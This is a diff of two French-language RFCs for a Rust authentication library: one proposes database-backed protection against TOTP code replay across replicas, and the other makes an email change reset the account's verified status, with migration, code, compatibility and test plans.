| 80 | + ) | |
| 81 | + .to_owned(), | |
| 82 | + ) | |
| 83 | + .await | |
| 84 | + } | |
| 85 | + | |
| 86 | + async fn down(&self, manager: &SchemaManager) -> Result<(), DbErr> { | |
| 87 | + manager | |
| 88 | + .alter_table( | |
| 89 | + Table::alter() | |
| 90 | + .table(UserTotp::Table) | |
| 91 | + .drop_column(UserTotp::LastUsedStep) | |
| 92 | + .to_owned(), | |
| 93 | + ) | |
| 94 | + .await | |
| 95 | + } | |
| 96 | +} | |
| 97 | + | |
| 98 | +#[derive(Iden)] | |
| 99 | +enum UserTotp { | |
| 100 | + Table, | |
| 101 | + LastUsedStep, | |
| 102 | +} | |
| 103 | +``` | |
| 104 | + | |
| 105 | +Équivalent SQL (documentation ; **non** exécuté par l’app) : | |
| 106 | + | |
| 107 | +```sql | |
| 108 | +ALTER TABLE user_totp ADD COLUMN last_used_step BIGINT NULL; | |
| 109 | +``` | |
| 110 | + | |
| 111 | +Réversible : `DROP COLUMN last_used_step`. Les lignes existantes restent `NULL` → premier code post-migration toujours accepté. | |
| 112 | + | |
| 113 | +### Modèle | |
| 114 | + | |
| 115 | +[`user_totp::Model`](../../crates/rustwarden-core/src/models/user_totp.rs) aujourd’hui : `id`, `user_id`, `secret_encrypted`, `enabled`, `backup_codes_encrypted`, `backup_codes_remaining`, `enabled_at`, `created_at`, `updated_at`. **Après Accept** : | |
| 116 | + | |
| 117 | +```rust | |
| 118 | +/// Last TOTP time-step (`unix_epoch / 30`) that was successfully consumed. | |
| 119 | +/// `None` until the first accepted code after this column exists. | |
| 120 | +pub last_used_step: Option<i64>, | |
| 121 | +``` | |
| 122 | + | |
| 123 | +Type `i64` : SeaORM mappe PostgreSQL `BIGINT`. `matching_totp_step` renvoie `u64` ; conversion `i64::try_from(step)` — un pas Unix/30 tient dans `i64` pour des siècles. Échec de conversion → traiter comme code invalide (`Ok(false)`), pas de panic. | |
| 124 | + | |
| 125 | +`setup` (`TotpService` insert `enabled=false`) : `last_used_step: NotSet` (NULL). | |
| 126 | + | |
| 127 | +### Concurrence (source de vérité) | |
| 128 | + | |
| 129 | +Succès **ssi** `rows_affected == 1` : | |
| 130 | + | |
| 131 | +```sql | |
| 132 | +UPDATE user_totp | |
| 133 | +SET last_used_step = $step | |
| 134 | +WHERE user_id = $id | |
| 135 | + AND (last_used_step IS NULL OR last_used_step < $step) | |
| 136 | +``` | |
| 137 | + | |
| 138 | +Comparaison **stricte** `<` : le même pas est un rejeu. Un pas plus grand (fenêtre suivante) passe. | |
| 139 | + | |
| 140 | +Proposition SeaORM (pas de SQL applicatif) : | |
| 141 | + | |
| 142 | +```rust | |
| 143 | +use chrono::Utc; | |
| 144 | +use sea_orm::{ | |
| 145 | + ColumnTrait, Condition, EntityTrait, QueryFilter, sea_query::Expr, | |
| 146 | +}; | |
| 147 | +use crate::models::user_totp; | |
| 148 | + | |
| 149 | +/// Consume `step` for `user_id`. Returns true iff this replica won the CAS. | |
| 150 | +async fn claim_totp_step( | |
| 151 | + db: &sea_orm::DatabaseConnection, | |
| 152 | + user_id: uuid::Uuid, | |
| 153 | + step: u64, | |
| 154 | +) -> Result<bool, crate::error::AppError> { | |
| 155 | + let step_i64 = i64::try_from(step).map_err(|_| { | |
| 156 | + crate::error::AppError::Internal("TOTP step does not fit in i64".into()) | |
| 157 | + })?; | |
| 158 | + | |
| 159 | + let result = user_totp::Entity::update_many() | |
| 160 | + .col_expr(user_totp::Column::LastUsedStep, Expr::value(step_i64)) | |
| 161 | + .col_expr(user_totp::Column::UpdatedAt, Expr::value(Utc::now())) | |
| 162 | + .filter(user_totp::Column::UserId.eq(user_id)) | |
| 163 | + .filter( | |
| 164 | + Condition::any() | |
| 165 | + .add(user_totp::Column::LastUsedStep.is_null()) | |
| 166 | + .add(user_totp::Column::LastUsedStep.lt(step_i64)), | |
| 167 | + ) | |
| 168 | + .exec(db) | |
| 169 | + .await?; | |
| 170 | + | |
| 171 | + Ok(result.rows_affected == 1) | |
| 172 | +} | |
| 173 | +``` | |
| 174 | + | |
| 175 | +Les snippets ci-dessus sont **proposés** (Draft) : ils ne compilent pas tant que la colonne n’existe pas. | |
| 176 | + | |
| 177 | +### Flux `verify_code` après Accept | |
| 178 | + | |
| 179 | +Ordre (évite de polluer le cache in-process si le CAS DB perd) : | |
| 180 | + | |
| 181 | +1. Charger `user_totp` `enabled=true` (inchangé) ; sinon `AppError::TotpNotEnabled`. | |
| 182 | +2. `matching_totp_step(&secret, code)` → `None` ⇒ `Ok(false)` (aucun `UPDATE`). | |
| 183 | +3. `claim_totp_step(db, user_id, step)` → `false` ⇒ `Ok(false)` (rejeu inter-réplicas ou même pas). | |
| 184 | +4. Optionnel : `totp_replay_guard_accept` **après** le CAS gagné, comme court-circuit intra-processus pour les rejeux suivants sur **ce** réplica (évite un `UPDATE` no-op). Le CAS DB reste autoritatif. | |
| 185 | +5. `Ok(true)`. | |
| 186 | + | |
| 187 | +`verify_and_enable` (~L208) appelle aujourd’hui `verify_totp_code` **sans** garde in-process. Après Accept : après match, `claim_totp_step` puis `enabled=true`. Le code de setup ne peut pas servir immédiatement de login sur un autre réplica. | |
| 188 | + | |
| 189 | +Signatures **inchangées** : | |
| 190 | + | |
| 191 | +```rust | |
| 192 | +impl TotpService { | |
| 193 | + pub async fn verify_code( | |
| 194 | + db: &DatabaseConnection, | |
| 195 | + user_id: Uuid, | |
| 196 | + code: &str, | |
| 197 | + ) -> Result<bool, AppError> { /* ... */ } | |
| 198 | + | |
| 199 | + pub async fn verify_and_enable( | |
| 200 | + db: &DatabaseConnection, | |
| 201 | + user_id: Uuid, | |
| 202 | + code: &str, | |
| 203 | + ) -> Result<Vec<String>, AppError> { /* ... */ } | |
| 204 | +} | |
| 205 | +``` | |
| 206 | + | |
| 207 | +### Usage consommateur | |
| 208 | + | |
| 209 | +Aucun changement d’appel. Gitrust continue : | |
| 210 | + | |
| 211 | +```rust | |
| 212 | +let accepted = rustwarden_core::services::totp_service::TotpService::verify_code( | |
| 213 | + db, user_id, code, | |
| 214 | +).await?; | |
| 215 | +if !accepted { | |
| 216 | + // invalid or replay — same branch, no oracle | |
| 217 | +} | |
| 218 | +``` | |
| 219 | + | |
| 220 | +## Analyse de compatibilité | |
| 221 | + | |
| 222 | +Checklist : | |
| 223 | + | |
| 224 | +- [x] API existante non modifiée → **non-breaking compile** (signatures `verify_code` / `verify_and_enable` inchangées). | |
| 225 | +- [ ] API existante étendue avec défaut → N/A (pas de nouveau `pub` requis). | |
| 226 | +- [ ] API existante modifiée ou supprimée → non. | |
| 227 | +- [x] Nouveau comportement par défaut → un code déjà consommé sur le réplica A est refusé sur B (voulu). Instance unique : déjà le cas via le garde 1.0.1. | |
| 228 | +- [x] Changement de schéma DB → **oui** : `last_used_step BIGINT NULL`, migration up/down. Pas de rewrite de données. `NULL` = grandfathering du premier code. | |
| 229 | +- [ ] Changement de format sérialisé → non (`user_totp` n’est pas un DTO JSON public). | |
| 230 | + | |
| 231 | +SemVer : mineure (schéma + comportement de durcissement, signatures stables). Processus §1 : un changement de défaut peut être breaking ; ici le 1.0.1 a déjà le même rejet en mono-instance. Documenter en `Security` dans le CHANGELOG. | |
| 232 | + | |
| 233 | +## Alternatives considérées | |
| 234 | + | |
| 235 | +**Minimum 3 alternatives** avec analyse pros/cons, y compris "ne rien faire". Sans ça la RFC est incomplète : on ne peut pas juger une proposition sans son coût relatif. | |
| 236 | + | |
| 237 | +### Alternative A (recommandée) : colonne `last_used_step` + CAS SeaORM | |
| 238 | + | |
| 239 | +**Pros** : correct dès 2 réplicas sans Redis. Step matché (pas `now/30`). Atomicité PostgreSQL. Réversible (`NULL` / `DROP COLUMN`). Réutilise `matching_totp_step` déjà testé. Pas d’oracle. Constitution : pas de SQL applicatif. | |
| 240 | + | |
| 241 | +**Cons** : un `UPDATE` de plus sur le hot path 2FA (déjà un `SELECT` + decrypt). Migration à jouer sur toutes les apps. Tests de concurrence plus lourds. | |
| 242 | + | |
| 243 | +### Alternative B : garde in-process uniquement (statut 1.0.1) | |
| 244 | + | |
| 245 | +**Pros** : zéro migration, déjà livré, TTL 90 s, tests unitaires verts (`matching_totp_step_*`, `totp_replay_guard_accept`). | |
| 246 | + | |
| 247 | +**Cons** : **insuffisant dès 2 réplicas** (M-7). Rolling restart vide le `OnceLock`. Sticky sessions ne sont pas une garantie de sécu. Gitrust devrait forker un store. | |
| 248 | + | |
| 249 | +### Alternative C (ne rien faire / persister rien) | |
| 250 | + | |
| 251 | +**Pros** : zéro coût, zéro risque de migration. | |
| 252 | + | |
| 253 | +**Cons** : rejeu inter-instances ouvert à vie ; dette consommateur ; contredit l’audit M-7 et le CHANGELOG qui pointe déjà cette RFC. | |
| 254 | + | |
| 255 | +## Testing plan | |
| 256 | + | |
| 257 | +Tests unitaires (étendre [`totp_service.rs` tests](../../crates/rustwarden-core/src/services/totp_service.rs) ~L623+) : | |
| 258 | + | |
| 259 | +- Happy path : `matching_totp_step` renvoie le pas **courant** ; après `claim_totp_step` une fois, `last_used_step == Some(step)`. | |
| 260 | +- Erreur 1 — input invalide : code `"1"` / 5 digits → `matching_totp_step == None`, **aucun** `UPDATE` (assert DB inchangée). | |
| 261 | +- Erreur 2 — contrainte violée (rejeu même pas) : second `claim_totp_step` / `verify_code` avec le même code → `Ok(false)`, `rows_affected == 0`, `last_used_step` inchangé. | |
| 262 | +- Erreur 3 — fenêtre plus ancienne : accepter `t`, puis présenter le code de `t-1` → `matching_totp_step` peut encore matcher le secret, mais `last_used_step < t-1` est faux → `Ok(false)`. | |
| 263 | +- Erreur 4 (timeout / panic path) : `i64::try_from` n’est pas exercé en pratique ; tester `claim_totp_step` si `update_many` renvoie `DbErr` → `AppError::Database`, pas `Ok(true)` fail-open. | |
| 264 | + | |
| 265 | +Tests d’intégration (service / DB) : | |
| 266 | + | |
| 267 | +- `verify_code` happy path sur DB de test : premier code `true`, rejeu `false`. | |
| 268 | +- Deux tâches tokio concurrentes, même `(user_id, step)` : exactement une `true`. | |
| 269 | +- Migration up : colonne nullable présente ; rows existantes `NULL` ; premier verify OK. Migration down : colonne absente, données `user_totp` restantes intactes (`secret_encrypted`, `enabled`). | |
| 270 | +- `verify_and_enable` pose `last_used_step` ; un `verify_code` immédiat avec le même code → `false`. | |
| 271 | + | |
| 272 | +Tests de non-régression : | |
| 273 | + | |
| 274 | +- Code consommateur **compile** (signatures inchangées). | |
| 275 | +- Backup codes : `verify_backup_code` ne lit/écrit pas `last_used_step`. | |
| 276 | +- Garde in-process 1.0.1 : tests `totp_replay_guard_accept` restent verts (court-circuit optionnel). | |
| 277 | +- Baseline Draft : `cargo test -p rustwarden-core totp_service --lib` (garde + `matching_totp_step`) — à relancer après impl. | |
| 278 | + | |
| 279 | +Doctests : | |
| 280 | + | |
| 281 | +- Pas de nouvel item `pub`. Enrichir la rustdoc de `TotpService::verify_code` (anglais) : replay → `Ok(false)`. Exemple `ignore` si DB requise ; un doctest exécutable n’est pas réaliste sans secret + horloge. | |
| 282 | + | |
| 283 | +Benchs : comparer latence `verify_code` avant/après (SELECT+decrypt vs +UPDATE). Régression > 10 % bloque le merge sans justification. Attendu : un UPDATE PK `user_id` ≪ bcrypt backup codes. | |
| 284 | + | |
| 285 | +Les exemples `claim_totp_step` ne sont **pas** exécutables avant l’implémentation. | |
| 286 | + | |
| 287 | +## Migration guide | |
| 288 | + | |
| 289 | +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge. | |
| 290 | + | |
| 291 | +```markdown | |
| 292 | +### API changes | |
| 293 | + | |
| 294 | +**Before (v1.0.1)** : | |
| 295 | +`TotpService::verify_code` refusait le rejeu du même pas TOTP **dans le | |
| 296 | +processus** (cache 90 s). Deux réplicas pouvaient accepter le même code. | |
| 297 | +Pas de colonne `last_used_step`. | |
| 298 | + | |
| 299 | +**After (vX.Y.Z)** : | |
| 300 | +Colonne `user_totp.last_used_step BIGINT NULL`. Après `matching_totp_step` | |
| 301 | +(pas qui a matché, pas `now/30`), un `UPDATE` conditionnel SeaORM | |
| 302 | +(`last_used_step IS NULL OR last_used_step < $step`) consomme le pas. | |
| 303 | +Succès ssi `rows_affected == 1` ; sinon `Ok(false)` (même sémantique | |
| 304 | +qu'un code invalide). `verify_and_enable` consomme aussi le pas. | |
| 305 | + | |
| 306 | +Aucune signature publique changée. | |
| 307 | + | |
| 308 | +### Migration steps | |
| 309 | + | |
| 310 | +1. Bump `rustwarden-core` à la version qui livre RFC 0037. | |
| 311 | +2. Jouer les migrations (`cargo run --bin migrate` ou `auto_migrate`) : | |
| 312 | + `m20260918_000010_totp_last_used_step`. | |
| 313 | +3. Aucun rewrite de données. Les secrets TOTP existants restent valides. | |
| 314 | +4. Redémarrer **tous** les réplicas après la migration (rolling OK : un | |
| 315 | + réplica pré-colonne crashera au SELECT/UPDATE tant que le schéma n'est | |
| 316 | + pas à jour — migrer avant le binaire). | |
| 317 | +5. Gitrust : aucun workaround Redis à conserver pour ce rejeu. | |
| 318 | +``` | |
| 319 | + | |
| 320 | +## Open questions | |
| 321 | + | |
| 322 | +Liste des points en suspens. La RFC ne peut pas être acceptée tant qu’ils ne sont pas résolus : | |
| 323 | + | |
| 324 | +- [x] **Garde in-process après CAS** : le conserver comme court-circuit (recommandé) ou le retirer une fois la colonne livrée (moins de chemins) ? **Résolu (2026-09-18) : conservée comme court-circuit intra-processus après CAS gagné ; le CAS DB reste autoritatif.** | |
| 325 | +- [x] **`verify_and_enable`** : confirmer qu’il **doit** `claim_totp_step` (recommandé) pour bloquer le replay setup→login. **Résolu (2026-09-18) : confirmé — `verify_and_enable` consomme aussi le pas via `claim_totp_step` (bloque le rejeu setup→login).** | |
| 326 | +- [x] **SemVer** : minor Security vs major ? Signatures stables, schéma additif nullable. **Résolu (2026-09-18) : 1.1.0 minor Security (schéma additif nullable, signatures stables).** | |
| 327 | +- [x] **Tracking GitHub** : ouvrir l’issue avant `Under Review`. **Résolu (2026-09-18) : suivi interne via docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md.** | |
| 328 | + | |
| 329 | +## Tracking issue | |
| 330 | + | |
| 331 | +À ouvrir sur le dépôt Rustwarden (labels `area:auth` + `security` + `rfc`) en référençant l’audit M-7, le CHANGELOG 1.0.1 et Gitrust comme premier consommateur HA. Pas d’URL tant que le Draft n’est pas soumis. | |
| 332 | + | |
| 333 | +--- | |
| 334 | + | |
| 335 | +## Score d'évaluation (rempli par les reviewers) | |
| 336 | + | |
| 337 | +Notes **proposées par l’auteur** (Draft) ; les reviewers confirment ou ajustent. Seuil Accepted : ≥ 25/35. | |
| 338 | + | |
| 339 | +| Critère | Note (1-5) | Commentaire | | |
| 340 | +|---|---|---| | |
| 341 | +| Généralité | 5 | Tout consommateur 2FA multi-instance ; Gitrust n’a plus à forker un store. | | |
| 342 | +| Stabilité API | 5 | Signatures inchangées ; colonne nullable ; `NULL` = premier code OK. | | |
| 343 | +| Performance | 4 | Un `UPDATE` PK de plus sur le path 2FA ; pas de bcrypt. Bench à coller au merge. | | |
| 344 | +| Sécurité | 5 | Ferme M-7 inter-réplicas ; pas d’oracle ; step matché (pas `now/30`) ; CAS. | | |
| 345 | +| Complexité d'implémentation | 4 | Migration SeaORM + `update_many` + tests concurrence ; pas d’`unsafe`. | | |
| 346 | +| Charge de maintenance | 4 | Une colonne, pas de Redis ; garde in-process optionnel à ne pas faire dériver. | | |
| 347 | +| Documentation | 4 | RFC + CHANGELOG + rustdoc `verify_code` ; migration up/down. | | |
| 348 | +| **Total** | **31/35** | (≥ 25 pour Accepted) | |
A
docs/rfcs/0038-email-change-revalidation.md
+266
-0
@@ -0,0 +1,266 @@
| 1 | +# RFC 0038 — Revalidation e-mail à `UserService::update_profile` | |
| 2 | + | |
| 3 | +- **Auteur** : EBO (origine audit Gitrust / patch 1.0.1) | |
| 4 | +- **Date** : 2026-09-18 | |
| 5 | +- **Statut** : Accepted (2026-09-18) — **Superseded by [0041](0041-pending-email-changes.md)** | |
| 6 | + | |
| 7 | +> **Remplacée par [RFC 0041](0041-pending-email-changes.md) (2026-09-19)** : la v1 décrite ici n'a jamais été diffusée ; voir 0041 pour le flux livré. | |
| 8 | + | |
| 9 | +- **Apps consommatrices concernées** : Gitrust ; `rustwarden-ui` (`PUT /settings/profile`, `PUT /admin/users/:id`) ; tout consommateur qui appelle `UserService::update_profile` | |
| 10 | +- **Crate cible** : `rustwarden-core` | |
| 11 | +- **Origine** : plan [`docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md`](../plans/2026-09-17-securisation-upstream-audit-gitrust.md) (Task 15) | |
| 12 | + | |
| 13 | +## Summary | |
| 14 | + | |
| 15 | +Quand `UserService::update_profile` écrit une **nouvelle** adresse e-mail, basculer `email_verified=false` / `email_verified_at=NULL`, enqueuer un mail de validation vers la **nouvelle** adresse et une alerte vers l’**ancienne**, sans table `pending_*` (v1 YAGNI). | |
| 16 | + | |
| 17 | +## Motivation | |
| 18 | + | |
| 19 | +### Problème concret | |
| 20 | + | |
| 21 | +[`UserService::update_profile`](../../crates/rustwarden-core/src/services/user_service.rs) (~L157–217) accepte `email: Option<String>`, vérifie un format minimal (`@` + `.`) et l’unicité, puis : | |
| 22 | + | |
| 23 | +```rust | |
| 24 | +updated_user.email = Set(new_email.clone()); | |
| 25 | +``` | |
| 26 | + | |
| 27 | +`email_verified` et `email_verified_at` ne sont **pas** touchés. Un compte déjà vérifié qui passe à `attacker@evil.example` reste `email_verified=true`. | |
| 28 | + | |
| 29 | +Call sites actuels : | |
| 30 | + | |
| 31 | +| Call site | Comportement aujourd’hui | | |
| 32 | +|---|---| | |
| 33 | +| [`rustwarden-ui` `PUT /settings/profile`](../../crates/rustwarden-ui/src/handlers/settings/profile.rs) | `update_profile` puis, si e-mail changé : invalide les password-change pending ; enqueue `account_modified` vers **nouvelle et ancienne** adresses. **Pas** de `send_validation_email`. **Pas** de reset `email_verified`. | | |
| 34 | +| [`admin_handler::update_user`](../../crates/rustwarden-ui/src/handlers/admin_handler.rs) (~L1286) | `update_profile(..., None, Some(new_email))` **sans** mail de validation ni alerte. | | |
| 35 | +| Gitrust / apps headless | même trou dès qu’elles appellent le service. | | |
| 36 | + | |
| 37 | +Conséquence : prise de contrôle silencieuse de l’identité e-mail (reset password, notifications, recovery) tout en conservant le flag vérifié. Couplé à RFC 0040 (`validation_email_required` dans `authenticate_user`), garder `email_verified=true` après un changement **contourne** aussi le blocage login. | |
| 38 | + | |
| 39 | +### Qui est impacté | |
| 40 | + | |
| 41 | +- Tout utilisateur qui change d’e-mail via profil ou admin. | |
| 42 | +- Les opérateurs : un user « verified » qui change d’adresse **perd l’accès** tant que `validation_email_required` est vrai (voulu — voir Breaking). | |
| 43 | +- Gitrust n’a plus à patcher `update_profile` localement. | |
| 44 | + | |
| 45 | +### Si on ne fait rien | |
| 46 | + | |
| 47 | +Le flag vérifié suit l’ancienne preuve vers une nouvelle boîte. L’UI envoie déjà un `account_modified` (incomplet, et seulement sur le chemin profil, pas admin). Divergence consommateurs. | |
| 48 | + | |
| 49 | +### Urgence | |
| 50 | + | |
| 51 | +Pas un patch 1.0.1. Durcissement de politique d’identité (comportement par défaut de `update_profile`). Pas de nouvelle table en v1 → RFC tout de même : changement de comportement par défaut + impact login (processus §2). | |
| 52 | + | |
| 53 | +## Non-goals | |
| 54 | + | |
| 55 | +- **Pas de table `pending_email_changes` en v1** (YAGNI). L’e-mail en base **devient** la nouvelle adresse immédiatement. v2 est évaluée ci-dessous comme follow-up. | |
| 56 | +- **Pas de charset e-mail** (hors RFC 0036 usernames). | |
| 57 | +- **Pas de modification du hook** [`RustwardenHooks::on_email_verified`](../../crates/rustwarden-core/src/hooks.rs) (~L91) : il reste appelé uniquement après un token de validation consommé (`EmailValidationService`). | |
| 58 | +- **Pas de changement du flow register** (`create_user` pose déjà `email_verified: false`). | |
| 59 | +- **Pas de réécriture OAuth** (`OAuthService` pose `email_verified` selon le provider — hors scope). | |
| 60 | +- **Pas de signature breaking** de `update_profile` (reste `db, user_id, username: Option<String>, email: Option<String>`). | |
| 61 | +- **Pas d’échec dur** si SMTP n’est pas configuré : même contrat que `register` (`EmailConfig::from_env()` best-effort + `tracing::warn`). | |
| 62 | + | |
| 63 | +## API proposée | |
| 64 | + | |
| 65 | +### v1 (recommandée) — flags + deux enqueues, pas de table | |
| 66 | + | |
| 67 | +Signature **aujourd’hui**, à conserver : | |
| 68 | + | |
| 69 | +```rust | |
| 70 | +// crates/rustwarden-core/src/services/user_service.rs | |
| 71 | +impl UserService { | |
| 72 | + pub async fn update_profile( | |
| 73 | + db: &DatabaseConnection, | |
| 74 | + user_id: Uuid, | |
| 75 | + username: Option<String>, | |
| 76 | + email: Option<String>, | |
| 77 | + ) -> Result<user::Model, AppError> { /* ... */ } | |
| 78 | +} | |
| 79 | +``` | |
| 80 | + | |
| 81 | +Comportement **après Accept**, branche `if let Some(new_email) = &email` (~L190–205), **après** les validations format/unicité, **avant** `update` : | |
| 82 | + | |
| 83 | +1. Si `new_email` (trim) **égal** à `user.email` : ne pas toucher `email_verified` / `email_verified_at` (no-op e-mail ; un rename username seul ne revalide pas). | |
| 84 | +2. Si `new_email` **différent** : | |
| 85 | + - `updated_user.email = Set(new_email.clone())` (inchangé). | |
| 86 | + - `updated_user.email_verified = Set(false)`. | |
| 87 | + - `updated_user.email_verified_at = Set(None)`. | |
| 88 | + - Mémoriser `old_email = user.email.clone()` pour l’alerte. | |
| 89 | +3. Persister (`updated_user.update(db)`). | |
| 90 | +4. Enqueue validation vers la **nouvelle** adresse : `EmailValidationService::new(cfg).send_validation_email(db, user_id)` — lit `user.email` **déjà** mis à jour, invalide les anciens tokens (`invalidate_previous_tokens`), type de queue `"email_validation"`. Même helper que [`register`](../../crates/rustwarden-core/src/auth/handlers.rs) (~L1488). | |
| 91 | +5. Enqueue alerte vers l’**ancienne** adresse (`EmailQueueService::enqueue`, `to_email = old_email`, type `"email_changed"` ou réutiliser `"account_modified"` avec `AccountModifiedTemplate` champ `Email`). Message du type « votre adresse e-mail a été changée » ; **ne pas** y coller le lien de validation (ce lien va uniquement à la nouvelle boîte). | |
| 92 | +6. `tracing::warn!` (user_id, old/new masqués) pour SIEM. Si un handler a des `RustwardenHooks`, il **peut** émettre `on_audit_event` (`kind: "user.email_changed"`) — `UserService` ne prend pas `hooks` (signature stable). `on_email_verified` inchangé. | |
| 93 | + | |
| 94 | +`EmailConfig::from_env()` : si `Err`, skip 4–5 + `tracing::warn` (comme register). L’update DB **réussit** quand même : l’utilisateur peut `POST /api/v1/auth/resend-verification`. | |
| 95 | + | |
| 96 | +Schéma `users` **inchangé** (`email_verified: bool`, `email_verified_at: Option<DateTime<Utc>>` déjà présents). | |
| 97 | + | |
| 98 | +### Usage consommateur | |
| 99 | + | |
| 100 | +```rust | |
| 101 | +use rustwarden_core::error::AppError; | |
| 102 | +use rustwarden_core::services::user_service::UserService; | |
| 103 | +use sea_orm::DatabaseConnection; | |
| 104 | +use uuid::Uuid; | |
| 105 | + | |
| 106 | +async fn change_email( | |
| 107 | + db: &DatabaseConnection, | |
| 108 | + user_id: Uuid, | |
| 109 | + new_email: String, | |
| 110 | +) -> Result<(), AppError> { | |
| 111 | + // Same signature. After this RFC, a previously verified user | |
| 112 | + // becomes email_verified=false until they click the new link. | |
| 113 | + let _user = UserService::update_profile(db, user_id, None, Some(new_email)).await?; | |
| 114 | + Ok(()) | |
| 115 | +} | |
| 116 | +``` | |
| 117 | + | |
| 118 | +`rustwarden-ui` profil : retirer le double enqueue `account_modified` **pour le champ e-mail** (évite 4 mails). Conserver l’invalidation `PasswordChangeService::invalidate_on_email_change` (déjà là). Conserver `account_modified` pour un rename username seul. Admin : aucun extra — le service couvre le trou. | |
| 119 | + | |
| 120 | +### v2 (follow-up, hors implémentation de cette RFC) | |
| 121 | + | |
| 122 | +Table `pending_email_changes` (`user_id`, `new_email`, `token_hash`, `expires_at`) : l’e-mail **courant** reste vérifié jusqu’au clic sur un lien envoyé à la **nouvelle** boîte ; l’ancienne reçoit l’alerte. Plus sûr contre un attaquant session-volée qui change l’e-mail pour lock-out. Coût : migration, tokens, courses admin vs user, expiration, UI « pending ». | |
| 123 | + | |
| 124 | +**Décision Draft** : v1 score proposé **28/35** (≥ 25) → v2 **marquée follow-up**, pas dans le PR d’implémentation. Réévaluer si un incident de prise de contrôle de session + changement d’e-mail le justifie. | |
| 125 | + | |
| 126 | +## Analyse de compatibilité | |
| 127 | + | |
| 128 | +Checklist : | |
| 129 | + | |
| 130 | +- [x] API existante non modifiée → signatures `update_profile` **inchangées** (compile). | |
| 131 | +- [ ] API existante étendue avec défaut → N/A. | |
| 132 | +- [x] API existante modifiée ou supprimée → **breaking comportemental** : un user vérifié qui change d’e-mail n’est plus vérifié. | |
| 133 | +- [x] Nouveau comportement par défaut → `email_verified=false` dès que l’adresse change. Feature-flag : non (sécurité). Les apps qui s’appuyaient sur « changer l’e-mail sans revalider » cassent **volontairement**. | |
| 134 | +- [ ] Changement de schéma DB → **non** en v1. | |
| 135 | +- [ ] Changement de format sérialisé → le JSON profil peut renvoyer `email_verified: false` après update (si le DTO l’expose). | |
| 136 | + | |
| 137 | +### Breaking (voulu) | |
| 138 | + | |
| 139 | +Si `AppSettingsService::get_bool_with_fallback(["validation_email_required", "validation_email_requise"], true)` est vrai (défaut), l’utilisateur **perd le login** jusqu’au clic sur le lien (RFC 0040 une fois livrée ; aujourd’hui seulement le handler HTTP `login`). Session JWT **déjà émise** : hors scope (pas de révocation globale ici). Password reset ira à la nouvelle adresse non encore prouvée — acceptable en v1 ; v2 retarderait l’écriture. | |
| 140 | + | |
| 141 | +Admin qui change l’e-mail d’un user : même un-verify. L’admin doit prévenir l’utilisateur (alerte ancienne boîte + validation nouvelle). | |
| 142 | + | |
| 143 | +## Alternatives considérées | |
| 144 | + | |
| 145 | +**Minimum 3 alternatives** avec analyse pros/cons, y compris "ne rien faire". Sans ça la RFC est incomplète : on ne peut pas juger une proposition sans son coût relatif. | |
| 146 | + | |
| 147 | +### Alternative A (recommandée) : v1 YAGNI (un-verify + validation new + alerte old) | |
| 148 | + | |
| 149 | +**Pros** : ferme le bug sur **tous** les call sites (`update_profile` unique porte). Pas de migration. Réutilise `EmailValidationService::send_validation_email` et `EmailQueueService`. Aligné register. Score ≥ 25 → v2 plus tard. | |
| 150 | + | |
| 151 | +**Cons** : window où la nouvelle adresse est en base sans preuve (lock-out + reset vers une boîte non possédée si session volée). Breaking login. L’UI profil doit dédupliquer ses mails. | |
| 152 | + | |
| 153 | +### Alternative B : v2 `pending_email_changes` dès maintenant | |
| 154 | + | |
| 155 | +**Pros** : l’ancienne adresse reste vérifiée jusqu’à confirmation ; résiste mieux au vol de session ; pas de lock-out immédiat. | |
| 156 | + | |
| 157 | +**Cons** : migration + service + UI « pending » + courses admin ; YAGNI pour le bug actuel (flag qui ne bascule pas). Retarde la fermeture M. Score estimé : Généralité 4, Stabilité 3 (nouvelle table + API), Perf 4, Sécu 5, Complexité 2, Maintenance 3, Doc 4 → **25/35** pile, plus risqué à livrer en même temps que 0037/0040. | |
| 158 | + | |
| 159 | +### Alternative C (ne rien faire / garder le workaround UI) | |
| 160 | + | |
| 161 | +**Pros** : zéro coût upstream. L’UI profil notifie déjà old+new (`account_modified`) sans retirer le flag. | |
| 162 | + | |
| 163 | +**Cons** : `email_verified` reste vrai ; chemin **admin** et Gitrust non couverts ; reset password / login restent attachés à une preuve obsolète. Contredit l’audit. | |
| 164 | + | |
| 165 | +## Testing plan | |
| 166 | + | |
| 167 | +Tests unitaires / service (MockDatabase ou DB de test existante de `UserService`) : | |
| 168 | + | |
| 169 | +- Happy path : user `email_verified=true`, `update_profile(..., email: Some("new@example.com"))` → row `email=new@example.com`, `email_verified=false`, `email_verified_at=NULL` ; une entrée `email_queue` `email_validation` vers **new** ; une entrée alerte vers **old**. | |
| 170 | +- Erreur 1 — input invalide : `"not-an-email"` (pas de `@` / `.`) → `AppError::Validation("Invalid email format")` ; flags inchangés ; **aucune** queue. | |
| 171 | +- Erreur 2 — contrainte unicité : e-mail déjà pris par un autre user → `Validation("Email '…' already exists")` ; pas d’un-verify du caller. | |
| 172 | +- Erreur 3 — SMTP absent : `EmailConfig::from_env()` fail → update **réussit**, flags un-verify, `tracing` warn, queue vide (pas de panic). | |
| 173 | +- No-op : `email: Some(old)` identique → `email_verified` reste `true` ; pas d’enqueue validation. | |
| 174 | +- Username seul : `email: None` → e-mail/flags intacts. | |
| 175 | + | |
| 176 | +Tests d’intégration : | |
| 177 | + | |
| 178 | +- Consommer un token `EmailValidationService` après v1 → `email_verified=true`, `on_email_verified` appelé (handler `verify_email` inchangé). | |
| 179 | +- Admin `update_user` : même un-verify (test service suffit si le handler délègue). | |
| 180 | +- Non-régression : `create_user` toujours `email_verified=false`. | |
| 181 | + | |
| 182 | +Tests de non-régression : | |
| 183 | + | |
| 184 | +- Code consommateur **compile**. | |
| 185 | +- `PasswordChangeService::invalidate_on_email_change` toujours appelé par l’UI profil (hors core). | |
| 186 | + | |
| 187 | +Doctests : | |
| 188 | + | |
| 189 | +- Rustdoc `update_profile` : exemple copie/collable « changing email clears verification ». Exécutable seulement avec DB → ` ```rust,ignore ` + un paragraphe rustdoc anglais. Si un test unitaire documente le contrat, le doctest ignore est acceptable (même pattern RFC 0036 pour les services I/O). | |
| 190 | + | |
| 191 | +Benchs : non (path profil, pas bcrypt/JWT). Deux `INSERT` queue, négligeables. | |
| 192 | + | |
| 193 | +Les snippets `change_email` ne s’exécutent pas tant que le comportement n’est pas livré. | |
| 194 | + | |
| 195 | +## Migration guide | |
| 196 | + | |
